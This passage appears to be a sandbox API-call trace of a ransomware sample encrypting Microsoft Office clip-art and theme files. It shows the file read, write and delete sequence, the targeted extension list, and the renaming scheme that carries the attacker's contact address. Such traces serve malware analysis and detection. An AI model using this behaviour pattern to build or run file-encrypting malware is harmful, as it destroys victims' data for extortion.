office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.230] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.230] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.230] GetLastError () returned 0x0 [0135.230] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1361, lpOverlapped=0x0) returned 1 [0135.232] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0135.233] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.233] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.233] SetEndOfFile (hFile=0x1ec) returned 1 [0135.233] CloseHandle (hObject=0x1ec) returned 1 [0135.233] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.233] SetEndOfFile (hFile=0x388) returned 1 [0135.236] CloseHandle (hObject=0x388) returned 1 [0135.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0135.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.237] lstrlenW (lpString=".doc") returned 4 [0135.237] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.237] lstrlenW (lpString=".docx") returned 5 [0135.237] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.237] lstrlenW (lpString=".pdf") returned 4 [0135.237] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.237] lstrlenW (lpString=".xls") returned 4 [0135.237] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.237] lstrlenW (lpString=".xlsx") returned 5 [0135.237] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.237] lstrlenW (lpString=".ppt") returned 4 [0135.237] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.237] lstrlenW (lpString=".zip") returned 4 [0135.237] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.237] lstrlenW (lpString=".rar") returned 4 [0135.237] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.237] lstrlenW (lpString=".bz2") returned 4 [0135.237] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString=".7z") returned 3 [0135.238] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString=".dbf") returned 4 [0135.238] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString=".1cd") returned 4 [0135.238] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString=".jpg") returned 4 [0135.238] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString=".doc") returned 4 [0135.238] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString=".docx") returned 5 [0135.238] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.238] lstrlenW (lpString=".pdf") returned 4 [0135.238] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.238] lstrlenW (lpString=".xls") returned 4 [0135.238] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.238] lstrlenW (lpString=".xlsx") returned 5 [0135.238] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.238] lstrlenW (lpString=".ppt") returned 4 [0135.238] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.238] lstrlenW (lpString=".zip") returned 4 [0135.238] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.238] lstrlenW (lpString=".rar") returned 4 [0135.238] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.238] lstrlenW (lpString=".bz2") returned 4 [0135.238] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.238] lstrlenW (lpString=".7z") returned 3 [0135.238] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.239] lstrlenW (lpString=".dbf") returned 4 [0135.239] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.239] lstrlenW (lpString=".1cd") returned 4 [0135.239] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0135.239] lstrlenW (lpString=".jpg") returned 4 [0135.239] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.239] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.239] lstrlenW (lpString="WNTER_01.MID") returned 12 [0135.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.240] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6915) returned 1 [0135.240] CloseHandle (hObject=0x388) returned 1 [0135.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0135.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.241] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.241] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.241] GetLastError () returned 0x0 [0135.241] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1b03, lpOverlapped=0x0) returned 1 [0135.243] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0135.244] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.244] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.244] SetEndOfFile (hFile=0x1ec) returned 1 [0135.244] CloseHandle (hObject=0x1ec) returned 1 [0135.244] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.245] SetEndOfFile (hFile=0x388) returned 1 [0135.247] CloseHandle (hObject=0x388) returned 1 [0135.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.248] lstrlenW (lpString=".doc") returned 4 [0135.248] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.248] lstrlenW (lpString=".docx") returned 5 [0135.248] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.248] lstrlenW (lpString=".pdf") returned 4 [0135.248] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.248] lstrlenW (lpString=".xls") returned 4 [0135.248] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.248] lstrlenW (lpString=".xlsx") returned 5 [0135.248] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.248] lstrlenW (lpString=".ppt") returned 4 [0135.248] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.248] lstrlenW (lpString=".zip") returned 4 [0135.248] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.248] lstrlenW (lpString=".rar") returned 4 [0135.248] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.248] lstrlenW (lpString=".bz2") returned 4 [0135.248] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.248] lstrlenW (lpString=".7z") returned 3 [0135.248] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.248] lstrlenW (lpString=".dbf") returned 4 [0135.249] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.249] lstrlenW (lpString=".1cd") returned 4 [0135.249] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.249] lstrlenW (lpString=".jpg") returned 4 [0135.249] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.249] lstrlenW (lpString=".doc") returned 4 [0135.249] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.249] lstrlenW (lpString=".docx") returned 5 [0135.249] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.249] lstrlenW (lpString=".pdf") returned 4 [0135.249] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.249] lstrlenW (lpString=".xls") returned 4 [0135.249] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.249] lstrlenW (lpString=".xlsx") returned 5 [0135.249] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.249] lstrlenW (lpString=".ppt") returned 4 [0135.249] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.249] lstrlenW (lpString=".zip") returned 4 [0135.249] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.249] lstrlenW (lpString=".rar") returned 4 [0135.249] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.249] lstrlenW (lpString=".bz2") returned 4 [0135.250] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.250] lstrlenW (lpString=".7z") returned 3 [0135.250] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.250] lstrlenW (lpString=".dbf") returned 4 [0135.250] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.250] lstrlenW (lpString=".1cd") returned 4 [0135.250] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0135.250] lstrlenW (lpString=".jpg") returned 4 [0135.250] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.250] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.250] lstrlenW (lpString="Adjacency.eftx") returned 14 [0135.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.253] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21089) returned 1 [0135.253] CloseHandle (hObject=0x388) returned 1 [0135.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0135.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0135.309] GetLastError () returned 0x0 [0135.309] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x5261, lpOverlapped=0x0) returned 1 [0135.313] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5270, lpOverlapped=0x0) returned 1 [0135.315] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.315] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0135.315] SetEndOfFile (hFile=0x394) returned 1 [0135.315] CloseHandle (hObject=0x394) returned 1 [0135.315] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.315] SetEndOfFile (hFile=0x388) returned 1 [0135.318] CloseHandle (hObject=0x388) returned 1 [0135.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0135.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.319] lstrlenW (lpString=".doc") returned 4 [0135.319] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.319] lstrlenW (lpString=".docx") returned 5 [0135.319] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.319] lstrlenW (lpString=".pdf") returned 4 [0135.319] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.319] lstrlenW (lpString=".xls") returned 4 [0135.319] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".xlsx") returned 5 [0135.320] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.320] lstrlenW (lpString=".ppt") returned 4 [0135.320] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString=".zip") returned 4 [0135.320] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".rar") returned 4 [0135.320] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".bz2") returned 4 [0135.320] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".7z") returned 3 [0135.320] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString=".dbf") returned 4 [0135.320] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString=".1cd") returned 4 [0135.320] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString=".jpg") returned 4 [0135.320] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.320] lstrlenW (lpString=".doc") returned 4 [0135.320] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".docx") returned 5 [0135.320] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.320] lstrlenW (lpString=".pdf") returned 4 [0135.320] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".xls") returned 4 [0135.320] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.320] lstrlenW (lpString=".xlsx") returned 5 [0135.320] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.320] lstrlenW (lpString=".ppt") returned 4 [0135.320] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.321] lstrlenW (lpString=".zip") returned 4 [0135.321] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString=".rar") returned 4 [0135.321] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString=".bz2") returned 4 [0135.321] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString=".7z") returned 3 [0135.321] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.321] lstrlenW (lpString=".dbf") returned 4 [0135.321] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.321] lstrlenW (lpString=".1cd") returned 4 [0135.321] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0135.321] lstrlenW (lpString=".jpg") returned 4 [0135.321] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.321] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.321] lstrlenW (lpString="Apothecary.eftx") returned 15 [0135.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.322] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=49025) returned 1 [0135.322] CloseHandle (hObject=0x388) returned 1 [0135.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0135.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.323] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.323] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, 